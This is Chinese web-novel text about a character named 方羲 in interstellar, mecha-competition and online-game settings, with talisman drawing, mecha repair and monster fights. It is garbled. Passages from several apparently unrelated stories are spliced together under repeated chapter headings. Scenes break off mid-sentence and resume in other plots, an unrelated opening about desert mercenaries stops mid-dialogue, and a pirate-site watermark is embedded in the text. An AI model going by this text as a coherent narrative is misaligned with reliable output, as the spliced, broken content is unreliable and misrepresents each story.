左边的那个眉骨上有深深的一道刀疤，中间的男人生了一个凶厉的鹰钩鼻，右边的那个则是满脸黑痣。 他们应当是刚经历了一场极为惨烈的战争，身上满是伤口，作战服上布满了层层叠叠的血迹。 “妈的，咱们拼死拼活杀的三阶巨蚁，反而让那帮混蛋摘了桃子！” 刀疤男吐了一口带血的吐沫，阴森森的眼神里充斥着恨意和不甘。 三阶巨蚁可是个好东西，外壳是不错的炼器材料，内里的蚁肉更是白嫩可口，能量充沛。 尤其是，他们遇到的那只巨蚁辐射值不算高，更能卖出个不错的高价。 然而现在，一切都毁了。 他们可谓是赔了夫人又折兵，巨蚁没拿到，还险些被人包了饺子，九死一生才逃出来。 黑痣男虽也愤恨，却比刀疤男冷静很多。 在刀疤男抱怨的时候，他已经开始调查沙漠附近的环境。 但越调查，他的表情便越难以形容，充满了不理解。 “发现了什么？”鹰钩鼻是三人佣兵小队的队长，见黑痣男神色变化，他疑惑地问了一句，警惕地四处观望。 黑痣男在三人中战斗实力最弱，但智谋最高，经常充当着军师的角色。 现在他露出这般表情，难道是这附近有什么危险不成？ 看出队长的疑问，黑痣男摇了摇头，开口解释道：“危险倒是没发现，只是……” “只是什么？”刀疤男是个急性子，着急地追问。 “我想要收藏家的附身符！怎么抢！抢购通道在哪？在哪？怎么没看到？！（疯狂尖叫）” “这个【猫猫们】是什么意思？莫非不只有橘色猫猫！（试探性伸出魔爪）” 【563名密匙玩家转发了您的店铺宣传】 方羲摸摸下巴，非常满意，她精心制作的广告果然没有浪费！ 第二天，阿拉斯代尔之城的某官方管理者之一，于凌晨一点梦中惊醒，茫然地打开疯狂振动的光脑，发现自己收到了一堆来自密匙玩家的私信，被礼貌询问为什么限制了锚点建立者的店铺推流！ 官方：“……（惊恐脸）” 系统自动判定的信用分，她也不知道啊！ 有哪个正常人的店铺信用分，能跌到负三千去啊！ 第 89 章 第 89 章 在方羲时隔一个月，重新上线当天的午夜十二点，失乐园又突兀地发放了一封“游戏将恢复正常运行”的通知。 而相比于早早下线睡大觉的方羲，浮空岛却灯火通明。 原先寂静、只偶尔传出几声系统提示音的数据室，此时刚好完成一项工作，几名玩家趁着休息的间隙，正在疯狂上网冲浪摸鱼。 江簌拍了拍宋白玉说：“这下你总能放心了吧，最近这么忙，我估计孟长官也不会计较你这次的事。” 疯苹果靠着椅子放松，闻言也说：“更何况，收藏家可真是送了一件大礼。我……第一次看见孟长官这么惊讶的表情。” 林镜子问：“你们转发收藏家那条宣传了吗？” 七院后面的几座山丘。 三号和五号是生物系的动物和植物，实验园。 一号山是校队的训练场，安装有模拟能量场装置，因为训练能量过强，很容易被炸。 二号山是分析系，用来试验编辑的能量晶和能量设备，在分析师训练室满员时，这里会成为备选项。 四号山和六号山是召唤系用来内部精神体和召唤体PK，同样经常被炸。 七号山是单兵系训练用，格斗场不够的备选，山上建立了各种大小的格斗训练场，由于有时比拼过程中，机甲炮火太强，也经常被炸。 方羲刚穿越星际的时候就知道，这个时代的人对生物有着天然的追崇。 多年前，母星走向死亡，让人类一直深切的认识到物种的重要性，因此在科技发展的同时，竭尽全力保留下了许多生物的基因信息。 生物系生物培育，就是根据这些珍贵的基因信息进行的。 成维的好友叫贺兰溪，虽然是生物系，但是他的输出队友。 跟着成维前往五号山的路上，方羲发觉他有些自来熟的可怕。 两个人才只有商业街的一面之缘，从明理楼到后山，短短的一段路，成维从他小时候几个玩伴，讲到了到时候要和哪些朋友去参加星环甄选，获得参加星际联赛的资格。 生物系从山脚下开始，沿路种满了苗木，每一棵都挂着特殊的身份挂牌。 有用金属栅栏围起来的实验田，标着‘非实验人员，不可进入’的标语。 他们见到贺兰溪的时候，对方正在一片枝叶繁茂，果实累累的园林里。 方羲知道这是一种乔木，她见过这种树木的异种形态，那朵美艳的桃花里开出了一个长舌头的脑袋。 从此她对这一类的树木，挂上一层可憎的滤镜。 贺兰溪从一棵树上跳下来，手上拿着一颗丰硕的果实，见到一个红毛摇摇晃晃的从山峰一角露出来，停在原地等了等。 方羲看到一个寸头黑背心的男生，手臂上强健的肌肉露在外面，他把摘下来的果实放在一个透明盒子里，然后朝她们的方向招了招手。 “能不能快点啊兄弟。” 贺兰溪大老远的催促道。 “你叫魂？” 说着，成维拉着方羲，转头就走，“算了，你别给他打什么八折九折，给他打骨折吧真的。” “诶诶诶，来都来了，带点走啊。” 贺兰溪，随手从树上薅下来一颗半生不熟的青红相间的果实，朝着成维的位置扔过去。 还没到成维附近，对方背着身，还在装模作样威胁，方羲在一边，伸手一拦，轻飘飘的握住。 她原本只想垂眸打量一眼，结果一低头，看到的这一幕让方羲猛地瞳孔一缩。 那颗青红果实，青色的一面，肉眼可见的变得粉红，原本发硬的触感，突然渐进成松软，好像落在她手里，短短几秒钟，突然成熟了。 方羲内心一跳，手上下意识要把它丢出去，结果一松手，听到动静的成维转头接住它。 看见手里成熟的果实，脸上一喜，“你小子…” 他点了点贺兰溪，“还算有点良心。” “走”，成维朝方羲抬了抬下巴。 “人给你带来了，要什么你们俩谈啊。” 说着，他抄起生物系挖出来的水渠里的清水，在果子表面擦了擦，席地一坐，就地吃起来。 贺兰溪正要说没熟，定睛一看是颗红润的果实，当下只疑惑了一秒。 随手竟然丢了个品相不错的。 “你要什么？” 方羲开门见山，直接问道。 贺兰溪出手很大方，直接掏出一张清单，“这上面，有多少我要多少。” 方羲看着一米长的清单，默了一秒，接过来看了一眼。 入目一行：羲寒骨。 方羲直接双眼失神。 哈，真有钱，几万一克的羲寒骨，要十克。 她往下看看，发觉里面的昂贵材料不少，基础材料也不少，看上去倒像…… “你要做机甲？” 除了没有机甲骨架，和发动机液等硬件，其他的可替换材料基本都来了一份。 贺兰溪轻飘飘的答道：“哦不是，前几天打架，把机甲打废了，换一下新的。” 方羲有些失笑。 “这些吧”，她手指在纸条上刻了几条印迹，“这些都有。” “哦，那我都要了，那个八折不用打了，就按市价来吧，不然你挺亏的，这些你拿出去卖，也有市场，我不占你这个便宜，我有钱。” 贺兰溪最后那句话有些拽拽的道。 成维点头：“是的，他有钱，你给他打十一折。” 方羲看着这套材料清单，脑子里构想了几种方案，想来想去，总觉得有几种贵的材料，有点多余。 出于职业素养，她多问了一句，“你的机甲，买火银，就不用再买炎硝了，这两个效果类似，炎硝要贵十倍，还有这个……” 她接连指出几个点，贺兰溪嚣张的断眉拧了拧，凑过来看清单，边听她说材料如何如何。 脑袋顿时大了。 “哦，哦，好。” 他只会点头。 等方羲说完，才道：“这个是我在星网上，维修师协会里，约了一个高级维修师，他开的方案，最后要卖我材料，成维说你这有，还能实惠，我就没在他那里买。” 方羲一听，就知道是什么手段。 她干脆的划掉多余的几种材料。 “好了，这样就好办了，你的机甲方便给我看一眼吗，还有几种材料，要看机甲情况用。” 贺兰溪一开始只把她当成个买材料的，一听这话，顿时感觉她有些懂行。 他急忙觑了眼成维，对方嘴里咀嚼的动作一停，呆愣的看着方羲：“你，你还懂这个啊？” 你不是星际游民吗姐。 不对，成维突然脑子通了，星际游民有点矿正常，能随身携带称重和分装的，说明她真的很懂机甲，起码很懂机甲材料吧。 “学过一点，不过我还没考下维修师证，你介意的话算了。” 贺兰溪看她一副淡淡的姿态，不但没添点什么，还划去不少，不想要讹钱的，再说，看看也不吃亏。 于是调出机甲戒指，在光脑上扫了扫。 机甲的战损状态显示在光脑平面上。 方羲看了看全息情况，手上又划去几条材料。 最后终于满意的拿起来看了看：“挺好，现在，这些材料我都有了。” 说完，她看了眼最上方的羲寒骨。 “哦，除了它。” 说着，她发现羲寒骨的用处是修复机甲的武器，看着那把细长但极有重量的刀，顿时感受到了金钱的分量。 “好了，我拿材料。” 她从空间纽扣里，分出一份，就让贺兰溪划掉一个。 最后把材料转移，账户到账三万。 方羲不禁感叹：“还是玩机甲赚钱啊。” 贺兰溪看着她甚至送了几颗用得上的替换关节，敬佩的问道：“确实，你们维修师，做一架高等级的个性化机甲，都快跟能量晶编辑召唤体同价了。” “不过，你们是不是不用担心，自己的个性机甲不合身的问题？哪里不合适改哪里，应该很方便吧。” 方羲被问住。 她抬眸思索了一秒，想到自己到现在，仍然一穷二白，别说个性机甲，就连把合适的武器都做不起。 “别人我不知道，我不是。” 她穷得很。 贺兰溪语塞，收好材料后，刚要招呼方羲：“这里一圈，都是我们培养成熟的作物，你们看着摘啊，看不出来少了就行。” “哦，对了”，他刚才就发现了，“你这个植物香水哪里买的，还挺清新，有点意思，最近正好做了这样的课题，我也搞一瓶研究研究。” 方羲和成维两张脸同时挂满了不解：“什么香水？” 贺兰溪眉尾一扫，鼻子轻嗅：“你没闻到？” 成维离方羲有点远，当即起来，走近几步，发出巨大的卧槽声：“怎么回事？” “我刚才还没闻到的。” 方羲狐疑在周身嗅了嗅，并没有什么异常。 这两人看着她面色不变，甚至隐隐有点怀疑他们的表情，不禁急着上前。 “你们两个干嘛呢？欺负女同学？” 一个清脆的女声快速逼近，夺目的粉色双马尾一摇一晃，护着方羲往身后一藏，然后抬手，一边一个拳头，“想干嘛？” 身后传来一阵细碎的脚步声。 领头的黑色狼尾卷发，是方羲之前见过的校队领队，谢春时。 他旁边，顾妗雪偏头看了眼，白色长发在空中晃了晃：“方羲？” 她后方，正垂眸看着她的蓝毛男生，闻言掀眸，打量似的看着方羲。 “你们做什么呢，看我们女同学瘦小瘦小，想强迫他给你干活？” 童薇眯着眼睛，审视的看着两人。 贺兰溪和成维两人对视一眼，互相高举起手， “我冤枉，我今天的工作都做完了，我没必要啊。我就是在她这儿买点机甲材料，顺便问问她这个植物香水哪买的，我不是最近一直研究不出来吗。” 童薇鼻子嗅了嗅，转头瞥了眼方羲，静静的在她身侧，闻着闻着不停靠近方羲。 感受到粉色的脑袋靠近自己的脖子，方羲站在原地不动，静若死水，“你也闻到了？” “好像是有点。” 童薇认同的看了眼她。 刚才还没注意，等到回过神，才发现这个同学有点眼熟。 绿色眼睛，机械一样，明明很冷静，却总是让人感觉到嘲讽的表情。 她想到什么，微微退开一步，“你好呀，我是童薇，二年级分析师，我听说过你！” 方羲点头：“你好。” 她揭过香水的话题：“可能路上不小心在哪里蹭到了，我没有买过香水，抱歉。” 贺兰溪不死心，还想追问追问。 狼尾卷发男生，身后跟着一个高个肌肉男上前。 “谢队”，成维和贺兰溪瞥了眼谢春时，眼里都有些忌惮，行动上老实了下来。 谢春时点头，余光瞥见几滴蓝色的能量消散在方羲周围，不动声色敛眸，瞬息恢复温和的神色： “普罗这几天有空，想约你一场训练赛，有兴趣试试吗？” 他身后的高个肌肉男，懵了一秒，然后跟着点头，“对。” 但方羲看见他的眼神似乎，盯着自己。 但回话的是成维。 他当然答应，能和校队比拼，对他来说更有利。 “对了，谢队，虚拟战场的全息比赛项目要开了，那什么”，贺兰溪从成维身后冒出头，小声的问：“我们分析师能回来了不？” 童薇悄咪咪的朝他们的方向挪了挪。 方羲看见这一幕，才有些了然。 半秒后，方羲终于注意到似乎有个大活人忽然出现，缓缓投过去目光。 方羲：思考.jpg 方羲想了想，期待地问：“你想扫地吗？” 宋白玉：“……” 他沉默地看了一眼地面。扫了，但又好像没扫。 宋白玉哭笑不得：“好好好，我来。” 第 90 章 第 90 章 和方羲在原地一动不动，只会来回不知所云地晃动扫帚，令人怀疑她是不是在故意偷懒的行为相比。这名从小生活在军事训练基地的猎人，没有丝毫抗拒地接过这把【魔女的扫帚】，开始清理四周洒满冰块和水的地面。 毕竟，这些简单的清理工作对他来说完全不在话下，只是微不足道的习惯。 脏的地方其实不算多，宋白玉没花几分钟就顺利打扫干净。顺便好奇地观察了一下四周的格局——似乎经过了大幅度的改造，和上次来的时候完全不同。 第一次过来的时候，里面的空间只有五十平方米左右，但风格奇异，摆设着很多充满邪恶气息的异端尸体，更像是巷子深处的神秘小店。 但现在，里面被彻底扩展为足足有一千平方米的双层开放空间，区域和区域之间分得相当清楚，放眼看过去，休闲区、杂货区、阅读区、苹果区……很多家具似乎有二手使用的痕迹。 深棕色的地板，缠绕在墙壁缝隙的枝蔓一摇一摇。 天花板的照明也相当充足，也做了定量的落地窗， 这一切的前提是，忽略某些诡异的细节。 宋白玉默默退了两步，免得踩到桌子角落下的毒蘑菇。 适合做特殊符纸的星纹钢、调配火系符墨的最佳材料云兔灵脂、协调性好适合兼容符墨的昙方露…… 方羲还看到一块巴掌大的沉水石，那可是做符笔笔尖的好材料！ 常年和符箓材料打交道，方羲只探查了几种就确认了： 虽然在星际这些材料名字有变化，但它们性状和修仙界差不多。 方羲眼睛噌地亮起。 感谢天道感谢祖师爷感谢师父庇佑，她能继续画符了！画几百张都绰绰有余！ 不就是赚钱吗？多简单的事！ ——当然，得先在十分钟内改完她的第一台机甲。 材料架上，机甲大赛的标志格外突出，提醒着方羲： 这都是大赛提供的改造备选材料，只能用于机甲。 方羲心里默念几遍“比赛为重”，艰难从材料上挪开眼。仔细打量一遍机甲，方羲肯定了刚刚一闪而过的念头。 机甲上确实……少了符箓！ 只做武器不加持符箓怎么行？ 给炼器师加持符箓做多了，方羲闭着眼睛都能画出几十种加成符箓。星际世界对符修来说，妥妥的一片蓝海。 世界灵气稀薄但确实存在，又有制符材料，刚刚犯愁的时间短暂，就不是问题了。 比赛最后十分钟的确不够改造机甲，但方羲不需要按照星际固有思路走，画符就行。 打定主意，方羲撑起身，刚站起来，险些栽倒。 干枯长发乱糟糟遮住眼睛，像有冰锤撞着脑袋，减弱的头疼再次加剧。 星际的身体和方羲原本身高差不多，身材高挑，但病后过分纤细瘦弱。普通的长袖长裤套在身上像个麻袋，一动就在衣服中打晃，空荡荡的。 方羲缓了口气，挽起衣袖，拢着长发，习惯性挽成一个简单的低发髻。摸出兜里唯一的东西：一管营养液，固定住发髻，顿感轻松了几分。 方羲脑海里过了一遍比赛要求。 这场机甲师大赛的海选初赛，萤火星分赛场题目“速度”，成绩评判标准很简单，改造后的机甲进行竞速展示。 要比速度，又是人形机甲，当然要用神行千里甲马符！ 走到材料架前，方羲抬手轻轻划过瓶瓶罐罐里各种材料，弯起唇角。 老朋友们，又见面了。 方羲没动最先看到的几种材料，撕下封条，打开角落的一瓶植物提取液。 粘稠的深绿色液体中混着点点银光，宝石般的偏光闪耀夺目，刚打开就有股奇怪的雨后土腥味涌出。 这是雨光草提取液。 雨光草只在雨后生长，草方发光，大概因为这个特性，名字恰好和修仙界一样。 但不同世界，雨光草的待遇截然不同。 雨光草在修仙界是最普适和低廉的符墨材料之一，神符宗里一抓一大把，也是符修们的入门必备。 星际世界的雨光草，是教材上警告不要随便和其他材料组合的“废料”，极少用于机甲。 原因很简单，雨光草提取液活性过强，会影响大部分材料的性能，组合起来制作机甲部件很容易出问题。 雨光草提取液和常用的中和型提取液外形相似，出现在机甲大赛现场，和其他没贴标签的材料放在一起，百分百是比赛评委们给选手挖坑，设下的迷惑选项。 不过，方羲找的就是这个“废料”。 让机甲师们头疼不已的雨光草活性，方羲一清二楚，其实是格外活跃的灵气。 机甲师们不好处理活跃的灵气，但以雨光草提取液做符墨，完全没问题。 时间有限，方羲没空针对性调配淬炼最合适的、最强效的符墨。 普通且普适的雨光草提取液，现在用正合适。 方羲拿起先前一眼看到的沉水石。 巴掌大的灰色扁平石块落在掌心，与外形截然相反地轻，很适合她现在身体虚弱无力的状态。 人形机甲约有十米高，即使双腿折叠，空间都被衬得有些逼仄，完全站起时估计得顶到天花板。 星际机甲中，它也属于中大型机甲之一，大部分改造维修都需要借助升降台和机械臂完成。 方羲绕着机甲走了半圈，停在机甲背后。 常见机甲的资料，记忆里清清楚楚。这款机甲是森之子7型，虽然是人形，但双腿只是小范围活动时的移动结构。 真正的加速推进器，在机甲背部。 神行符平时贴在腿上，如今给机甲用，画在推进器上没毛病！ 方羲捏着石块略宽的棱角对准机甲背后，沉水石蘸上深绿符墨，略微粗糙的灰色石块棱角肉眼可见地变透明。 一滴滴符墨在石块边缘凝聚滴落，勾勒出石块莹润剔透轮廓，证明它没被雨光草腐蚀消失。 方羲捏诀默念咒文，提笔宽大的衣摆无风自动，飘然若仙。四周稀薄的灵气被引动靠近，笔尖符墨中星星点点的银光更亮了几分。 即使连“笔”都是临时拿的，没处理过的简陋石块，握在方羲手中，却像集世界精粹为一身，光华灿灿。 方羲落笔前微微一顿，符箓纹路便和过去有了差别。 符箓之道与天地神灵沟通，如今到了星际世界，原本沟通的祖师和神明不在，符箓要想生效，自然不能继续用过去常用的画法。 方羲见多识广，将符箓上指向神灵的部分，干脆改成沟通天地之灵。 有灵气的世界不一定存在神，天道总是存在的。 方羲蘸墨落笔矫若游龙，一气呵成，深绿符墨落在青铜色机甲表面，几乎浑然一体，宛如自带的花纹。 最后一笔落下，符箓银光大亮，呼吸般闪烁一下，光华隐没。 符箓已成！ 改造间朝着赛场的一面墙壁亮起红灯，机械提示音响起。 【机甲即将上场展示，提交时间倒计时一分钟。请选手注意及时提交作品，并远离通道周边，避免发生意外。】 倒计时中，方羲不慌不忙收笔，沉水石在指尖转出漂亮的花影，稳稳停在提取液瓶盖上。 “改造完成，申请提交。” 咔哒。 一面金属墙壁升起，墨迹未干的机甲顺着传送带，缓缓离开比赛房间。 【叮~您已成功提交本次大赛参赛机甲，祝您取得好成绩！】 刚开门，十分钟前刚申请过维持秩序，方羲的改造间门前空无一人。 空中悬着的巨大光幕格外显眼，无论任何地方，抬头就能看见。 比赛竞技展示阶段还没开始，直播光幕上主持人正和嘉宾交谈暖场，一条条弹幕飘过上空。 [听说生机机甲集团也有人参加了这次比赛？急急急怎么还不开始！] [海选赛还没开个人直播间，可恶，我想看机甲师现场改造，不想看你们竞技场的设施广告啊！] [啊啊啊啊第一组要上场了！] 门外五颜六色的炫光堪比光污染，晃得方羲忍不住抬手挡了挡：好热闹，吵到眼睛了。 前方人满为患，服务机器人和托着各式工具箱的悬浮环围在他们身边，方绮被众星捧月簇拥着吹捧，不时为“废柴方羲”说几句话，实则火上浇油。 于蓝刚被老师批评过，满心不服，一直盯着方羲的改造间，门一打开就大声嘲讽，“某些人拖到最后一秒终于舍得出来了？” 听清改造间里的成功提示音，于蓝惊了，“什么——她不是超时退赛？！不是说方羲精神力废了吗，她真能提交作品啊？” 方绮唰地回头，机甲身后，露出一道瘦削身影，仿佛风一吹就能吹跑。 少女挽了个低低的发髻，古典韵味十足，淡淡睨来一眼。 对上那双漆黑的眼睛，不知怎么，各种嘲讽声都停了一瞬。 方绮难以置信。 这是方羲？ 人还是那个人，却好像哪里不一样了。 方绮看向机甲上熟悉的几个部位，不仅什么相似处都没看到，乍看像没有任何地方被改造过。 居然成功提交了？ 难道方羲的天赋真的那么好，短短时间里，又做了一套方案？！ 但……最后那点时间能改什么？上赛道竞速成绩肯定不如她！ 方绮稳住心神迎上去，“羲羲妹妹，恭喜你完成设计！怎么花了这么久啊，要不要我帮你分析一下设计思路？” 被方羲眼神慑住的其他人也回过神。 于蓝不屑道，“提交了又怎么样，她那是拖不下去了吧？没见过这么死皮赖脸拖时间的，机甲不是积木玩具可以胡乱搭，也不是做题拖到最后写个解就能得分！上场跑不起来才丢人呢！” “你说得对。”方羲点点头。 于蓝：“什么？” 方羲一哂，“比的是机甲速度，不是交卷速度。大赛规定两天改造时间，留给选手精细打磨作品，有空大吵大闹扰乱比赛秩序，不如回想一下你们的作品？” 被方羲提醒了不久前带队老师的警告，方绮一行人声音顿时减弱。 于蓝不服输地小声道，“绮姐的设计早就被老师夸过了，肯定能拿这次海选小组第一！虽然抽签运气不好，抽到的森之子系列太笨重，不擅长速度，但对应的成绩系数高啊，海选第一也轻轻松松！方羲就是嫉妒！” 方绮拉了拉于蓝，“算了，羲羲可能不舒服，心情不好。” 吵闹时不觉得，静下心来，于蓝不由自主顺着方羲的思路想下去。 初赛可以赛前做准备，大家都习惯提前提交，成绩没出来前，向来有比提交速度的鄙视链。 但她提前几个小时出来，确实有几个细节没仔细检查，万一就差那么一点……不不不，不可能。 机甲提交后，等前面的比赛结束才正式上场。于蓝越想越心里七上八下的，刚撞过的鼻子又酸又疼，等待时间变得难熬起来。 方羲耳朵清静了，对一步三喘的身体心里有数，没走远，挑了最近的长椅坐下。 圆滚滚的白色服务机器人像个大号汤圆，检测到落单选手飞过来，脑袋上光屏亮着服务选项，从寄存到购物，一应俱全。 方羲抬手点击光屏，苍白纤细的手指微微发抖，透着病弱。 身体底子太差，只是握笔捏诀，手就有些累了。 输入密码，机器人机械臂托着寄存箱升起。 机甲大赛只允许带经过检查的少量食物和个人工具进场，方羲的寄存箱里只有一台光脑，连箱子角都没占满。 AI女声温柔提醒，“请拿好您寄存的随身物品，于选手休息区等待比赛开始。” 服务机器人光屏跳转，播放最新型号的光脑广告。 方羲：“……” 她有理由怀疑AI违规扫描了寄存内容，在针对性推荐广告。 可惜她穷得叮当响，只能不买立省百分百。 方羲取出光脑，摸了摸光脑屏幕一角的裂痕，边缘磨掉了漆，只剩光秃秃的金属底色。 光脑黑着屏，方羲往兜里一揣，不着急开机。 反正除了债主和医院，没人找她，不如等比赛结果出来再说，还能节省点能源。 拿到仅有的家当，方羲靠着长椅，闭目调息。 一个小周天结束，得到的灵力还不到往日的千分之一。 方羲没气馁。星际灵气稀薄，还能修行已经是万幸。 灵力一部分刚刚画了符，一部分修补着身体。头已经不疼了，方羲并指为笔，在空中稳稳地虚画两下，不由得笑了。 才离开改造间，她就开始想念制符材料了。 方羲活动着手指，看了眼屏幕。 巨大直播光幕上弹幕如瀑布般刷过，影像和几百米外的赛道重叠。 机甲风驰电掣竞速，引擎声震耳欲聋，拉出长长的尾焰。 上空观众席，全息投影形象和现场观赛观众混在一起，欢呼加油声汇聚成山呼海啸般的声浪。 这是全星际瞩目的梦想赛场。 方羲算着时间睁眼，刚刚好，上一组比赛结束，她所在的机甲分组准备上场。 一台台机甲在赛道上站成一排，宛如高墙，穹顶的虚拟天空都被遮了一部分。 放眼看去，场上的不是机甲，压根是一个个行走的空白符纸。 方羲看得目不转睛，忍不住手指动了动，没摸到惯用的符笔，遗憾地叹了口气。 宋白玉：“啊？多少？” 说话氛围忽然一转，这让他有点反应不过来。 他想了想，给方羲直接转了两百万。 方羲&春醒：“……(゜ロ゜) 啊？” 贫穷的人类，和她贫穷的人偶，在此时大受震撼。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 90-100 第 91 章 第 91 章 方羲和春醒同时以一种诡异的眼神看着宋白玉。 “怎、怎么了？是太少了一点？”宋白玉下意识又打开面板。 “不不不，够了够了！”方羲赶紧打断宋白玉继续送钱的动作，深沉地说，“虽然我最近有点缺钱，但也不至于收这么多不义之财。” 宋白玉愣了一下，震惊地看着方羲。 “收藏家，难道你开店……就是单纯为了赚钱？” 派森先生内心无比沉重，觉得情况好像更糟。 他们周围汇聚的能量风暴更加浓郁，阴翳的气氛蔓延。 两人穿过狭窄的小路，走到山脉背后的宽阔废墟上。 突然一股凉意从方羲背后升起，异常的气味和奇怪的摩擦声被她捕捉。 常年战斗的第六感，让方羲马上朝前快跑几步，推着派森先生朝另一边错开：“小心。” 随后她朝着道路另一边的土包一滚，将身形掩藏在后面。 同时，一根猩红的长舌从她们后方伸出。 ‘啪’一声贴附在地面，透明的涎水糊在岩石上，形成了腐蚀的痕迹。 红舌拍打在地面，‘嘶’的一声又马上收回去，一只怪物从崎岖不平的黑色山丘旁爬出来。 它身形高大，背上黑色的鳞甲泛着暗光，脑袋像极了蜥蜴，嘴巴大张着，露出一口獠牙和猩红的舌头，舌尖舔舐着唇周，石块一样大的涎水滴下来，将地面打出一个小凹。 “滋……” 蜥蜴头上两只深黑的眼睛，竖瞳紧盯着面前两人。 它闻到了一股格外诱人的味道，比之前的所有食物都要更美味。 涎水从它的口角流出来，蜥蜴头的眼中满是渴望。 庞大的身躯遮挡着面前的山丘，尾巴落在倒塌石块附近，因为即将进食带来的欢愉让能量体兴奋的晃动着尾巴，打在地面发出‘哐当’的声音，一落下就击碎了石块，碎石朝着周围飞溅。 “嘶……嘶……” 能量体朝着人类的方向移动着，身上坚硬的外壳和地面发出刺耳的划拉声。 一股腥臭的气息，和巨大的能量压力扑面而来。 “它是不是想进食了？” 方羲看着这一幕，从能量体的行为中捕捉到这个信号。 派森先生抽出机甲的能量光剑，同时打开火力装置，神情凝重的撇头朝方羲示意：“对，而且，它把我们当成了食物。” 方羲眼神一冷：“是吗？” 那还真是让人不爽。 基础机甲配备有最简易的能源炮，派森先生叮嘱方羲：“我牵制它，你辅助我，等会看情况不对，马上离开，听到了吗？” 说完，他脚步在地面狠狠一踩，借力朝前方飞快的跑去。 能源的味道吸引了能量体，它垂涎的眼神落在方羲的机甲上。 派森先生这时候轰出一炮。 能量体于是转过去，它抬脚试图踩扁这个不自量力的铁疙瘩。 派森先生将光剑从它的脚底刺入，然后身体仰躺，滑跪着从地面溜过，光剑在能量体脚底拉出一道极深的伤口。 “砰！” 能量体一脚踩在地面，鲜血流出来，但只短时间的渗出，被光剑砍出来的伤口在短短几秒钟内，以肉眼可见的速度愈合着。 这是能量体的能力之一：再生。 方羲观察着能量体状态，心里读着秒，在看见伤口完全好转时，提醒派森先生：“数值3。” 通常能量体的基础再生数值是5，越小代表愈合越快。 再生数值3，意味着这只能量体能够在3秒内完全愈合非能量伤口。 派森先生的情况非常不好，哪怕方羲在用能源炮吸引能量体的注意，可能量体分心透出的力量也让他无暇应对。 它巨大的手掌一挥，周围就形成了许多的风刃。 风刃坚硬锐利，朝着机甲连接的缝隙中劈砍。 连接机械的神经承受着剧烈的疼痛。校队空缺分析师，于是借调了成维队伍的。 童薇应该就是二年级那位，精神阈值胜过廖如意，但理论成绩略差的分析师。 “可以。” 校队人群里，顾妗雪上前几步，帮方羲把没有收拢的材料整理好，顺便问了问： “你还有机甲材料？” 蓝色短发的高瘦青年跟在顾妗雪身后，看见顾妗雪主动搭话，眼神有些不忿。 嚯，就只是不理他是吧。 “喂，你不是星际游民吗？你们还学修机甲？” 周忱看着方羲手不能提的样子，咽下了比较有杀伤力的话，但问出来的内容还是带着几分对星际游民的偏见。 方羲理好自己的东西，没回答他。 倒是顾妗雪冷着脸：“少在这里犯贱。” 周忱气的哼了一声：“好啊你，三天来跟我说的第一句话就这？不就是打架的时候不小心烧了你精神体的毛？至于这么记仇吗？” “说话？你说话！” 顾妗雪拉着方羲远离他，把周忱气的更狠。 “等会你去全息训练室做军训项目？” 方羲点头：“再做几天就结束了。” 顾妗雪手腕搭在她的臂弯，清冷的神色带着淡淡笑意： “一起吧，正好全息比赛项目测试通道开了，对了，你要不要去试试，测试通关，还有不少的机甲相关的奖励。” 她看方羲好像对机甲挺感兴趣，实际上还有精神体相关奖励，但顾忌着方羲未觉醒，顾妗雪没有说。 但他仍旧咬着牙挥动着能量光剑斩断迎面而来的风刃。 同时，机甲的火焰枪开启，对准能量体就是一阵狂轰。 “砰！砰！砰……” 能量弹爆炸的声音响起，能量体身上残留一些燃烧的火焰。 火焰烧不穿坚硬的外壳，并不能对能量体造成威胁。 但紧接而来的炮火像满天坠雨，降落时带着炙热的气息和哮鸣的风声，持续轰鸣砸下。 “吼——” 能量体烦的有些不耐，蜥蜴头大张着嘴，沉闷的嘶吼一声。 转身对着半空机甲，派森先生驾驶机甲和它拉开距离，试图找到合适的机会进攻。 但能量体不愿再和小蚊子纠缠。 随着它獠牙张开，巨大的嘶吼声传出，周围凝聚出一圈一圈的风团，像龙卷风一样在地面游走，朝着中央靠拢。 而在能量场中。 风璇追逐着机甲。 方羲表情严肃的盯着派森先生的轨迹，炮火并不能试探出能量晶的位置，只能通过能量检测。 目前最精准的能量检测，是开拓了精神阈值的觉醒者。 她看准时机轰出能源炮，适当的给派森先生腾出战斗空间，但很快，派森先生被两根龙卷风柱子挤压到一起，然后被狂风席卷出去，狠狠甩在地上时更加明显。 “砰——” 派森先生身上的机甲因为重创脱落，他本人从驾驶舱中被甩出去，掉下来的部件被风卷甩向周围。 派森撞击在地，甚至摩擦出了一道痕迹，最后因撞在石块上而停下。 他身上都是不同程度的风刃切口，撞击让他忍不住吐出一口鲜血，下巴上的胡茬沾着血，显得格外狼狈。 庞大的能量体注意到人类血液的气息，蜥蜴头低下来，朝着派森先生的位置靠近，猩红的舌头伸出来舔舐着。 派森先生紧盯着能量体，他艰难的从地上爬起来，原本魁梧的身躯，在能量体面前显得格外渺小。 见状，方羲顾不得其他，她迅速收起能源炮，快速靠近派森先生，伸手将他一拉，机甲手臂轻易举起庞大的身躯，然后朝周围一推，将他送出能量体的视野。 “派森先生，借武器一用。” 派森先生听到这声音，还愣了一下，眼神有一瞬间的紧缩，但很快，便出现了惊愕的神情：“你要做什么？” 方羲没有回答，她快速的闪躲着能量体的风刃攻击，将散落的武器拾起。 派森先生神色扭曲了一阵。 倒不是因为维修师使用了自己的武器。 而是—— “方工，这只能量体是S级，机甲根本不可能解决它！” 方羲并不没有回应。 派森先生捂着胸口，低头咳出一大口鲜血。 强大的撞击让派森先生脏腑重创，呼吸带着剧痛，他在地面爬动到山丘之后，露出眼睛去看维修师的动作。 派森先生对方羲的印象，只是朋友推荐的，手艺很好的维修师，他不知道对方的作战能力如何。 但一个刚刚成年不久，没有觉醒，远星环，星际游民的维修师，怎么看都不是能量体的对手！ 他的心跳在这一个疯狂跳动，紧张，期待，恐慌，各种情绪淹没他，让派森先生紧盯着移动的机甲。 能量推动机甲，咻的一声，方羲身影来到半空，她扛起枪炮，朝着蜥蜴头轰了一发炮弹。 宋白玉让开一段位置，想着收藏家可能不认识对方，便主动介绍道：“收藏家，这是一名新晋傀儡师，ID叫八千棋局，现在总积分在排行榜第二。” 方羲目光游离地看了看，忽然发现了什么，整个人瞬间清醒。 啊？这人男扮女装？ 八千棋局对方羲温柔地笑了笑，像个内向腼腆的女孩一样。 方羲：“……(゜ロ゜) ” 方羲第一次见，感觉非常新奇，并且略感震撼。 第 92 章 第 92 章 方羲好奇地多看了几眼，但没说话。 